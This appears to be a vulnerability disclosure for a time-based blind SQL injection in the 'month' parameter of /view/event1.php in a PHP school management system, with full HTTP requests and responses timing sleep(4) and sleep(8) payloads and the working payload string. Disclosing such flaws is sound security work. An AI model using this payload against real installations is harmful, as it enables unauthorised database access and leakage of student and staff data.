

SQL injection vulnerability exists in month parameter of /view/event1.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /std1/view/event1.php?month=
  '%2B(select(0)from(select(sleep(4)))v)%2B'&my_index=
  100&my_type=Admin&year=2024 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:58:58 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 281
8
9
10
11 <div id="calendar_dates">
12
13 </div>
14
15 <input type="hidden" id="start_date" value="">
16 <input type="hidden" id="end_date" value="">
17 <input type="hidden" id="color" value="">
18 <input type="hidden" id="event_id" value="">
```

Done 470 bytes | 4,040 millis

Sleep time is 8s:

Request

```
1 GET /std1/view/event1.php?month=
  '%2B(select(0)from(select(sleep(8)))v)%2B'&my_index=
  100&my_type=Admin&year=2024 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:59:38 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 281
8
9
10
11 <div id="calendar_dates">
12
13 </div>
14
15 <input type="hidden" id="start_date" value="">
16 <input type="hidden" id="end_date" value="">
17 <input type="hidden" id="color" value="">
18 <input type="hidden" id="event_id" value="">
```

Done 470 bytes | 8,003 millis

Payload: month='%2B(select(0)from(select(sleep(8)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>